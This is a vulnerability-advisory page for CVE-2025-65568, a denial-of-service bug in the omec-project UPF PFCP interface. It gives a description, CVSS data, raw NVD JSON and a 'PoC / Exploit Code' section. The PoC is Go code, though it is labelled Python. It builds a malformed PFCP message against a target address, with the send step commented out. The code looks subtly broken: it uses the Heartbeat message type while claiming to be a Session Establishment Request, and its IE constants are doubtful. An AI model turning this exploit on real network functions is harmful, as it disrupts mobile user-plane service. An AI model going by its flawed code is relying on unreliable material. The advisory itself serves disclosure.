Security Vulnerability Report
中文
CVE-2025-65568 CVSS 7.5 HIGH

CVE-2025-65568

Published: 2025-12-18 19:16:34
Last Modified: 2026-01-07 21:06:48

Description

A denial-of-service vulnerability exists in the omec-project UPF (pfcpiface component) in version upf-epc-pfcpiface:2.1.3-dev. After PFCP association, a PFCP Session Establishment Request that includes a CreateFAR with an empty or truncated IPv4 address field is not properly validated. During parsing, parseFAR() calls ip2int(), which performs an out-of-bounds read on the IPv4 address buffer and triggers an index-out-of-range panic. An attacker who can send PFCP Session Establishment Request messages to the UPF's N4/PFCP endpoint can exploit this issue to repeatedly crash the UPF and disrupt user-plane services.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:opennetworking:upf:2.1.3:dev:*:*:*:*:*:* - VULNERABLE
upf-epc-pfcpiface:2.1.3-dev

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "bytes" "encoding/binary" "fmt" "net" ) // PFCP IE Types const ( IE_CreateFAR = 0x0200 IE_ApplyAction = 0x0400 IE_ForwardingParameters = 0x0500 IE_DestinationInterface = 0x0600 IE_FTEID = 0x0100 ) // Build PFCP Session Establishment Request with malformed CreateFAR func buildMalformedPFCPMessage() []byte { var buf bytes.Buffer // PFCP Header buf.WriteByte(0x20) // Version=1, MP=0, Flags=0 buf.WriteByte(0x01) // Message Type: Session Establishment Request // Sequence Number (3 bytes) + spare binary.Write(&buf, binary.BigEndian, uint32(0x000001)) // Message Length (placeholder) msgLen := uint16(0) lenPos := buf.Len() binary.Write(&buf, binary.BigEndian, msgLen) // IE: Create FAR with truncated IPv4 address // IE Type binary.Write(&buf, binary.BigEndian, uint16(IE_CreateFAR)) // IE Length (will be set later) ieDataStart := buf.Len() binary.Write(&buf, binary.BigEndian, uint16(0)) // Truncated IPv4 address field (empty or incomplete) // This triggers the out-of-bounds read in ip2int() truncatedIP := []byte{0x00} // Empty or incomplete IP address buf.Write(truncatedIP) // Set IE Length ieLen := uint16(buf.Len() - ieDataStart - 2) binary.BigEndian.PutUint16(buf.Bytes()[ieDataStart:], ieLen) // Update message length msgLen = uint16(buf.Len() - 4) binary.BigEndian.PutUint16(buf.Bytes()[lenPos:], msgLen) return buf.Bytes() } func main() { fmt.Println("CVE-2025-65568 PoC - Malformed PFCP Session Establishment Request") // Target UPF N4/PFCP endpoint targetAddr := "192.168.1.100:8805" // Build malicious PFCP message payload := buildMalformedPFCPMessage() // Send to UPF (requires PFCP association to be established first) // This PoC demonstrates the message structure // Attacker needs to establish PFCP association before sending session requests fmt.Printf("Target: %s\n", targetAddr) fmt.Printf("Payload length: %d bytes\n", len(payload)) fmt.Printf("Payload hex: %x\n", payload) fmt.Println("\nNote: Establish PFCP association first, then send this malformed session request") // Connection attempt (commented out for safety) // conn, err := net.Dial("udp", targetAddr) // if err != nil { // fmt.Printf("Connection error: %v\n", err) // return // } // defer conn.Close() // conn.Write(payload) }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65568", "sourceIdentifier": "[email protected]", "published": "2025-12-18T19:16:34.300", "lastModified": "2026-01-07T21:06:47.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial-of-service vulnerability exists in the omec-project UPF (pfcpiface component) in version upf-epc-pfcpiface:2.1.3-dev. After PFCP association, a PFCP Session Establishment Request that includes a CreateFAR with an empty or truncated IPv4 address field is not properly validated. During parsing, parseFAR() calls ip2int(), which performs an out-of-bounds read on the IPv4 address buffer and triggers an index-out-of-range panic. An attacker who can send PFCP Session Establishment Request messages to the UPF's N4/PFCP endpoint can exploit this issue to repeatedly crash the UPF and disrupt user-plane services."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opennetworking:upf:2.1.3:dev:*:*:*:*:*:*", "matchCriteriaId": "E580395D-12BF-4D0A-AA6F-FD59C36E1EED"}]}]}], "references": [{"url": "http://omec-projectupf.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "http://upf-epc-pfcpiface.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/omec-project/upf/issues/962", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/omec-project/upf/issues/962", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}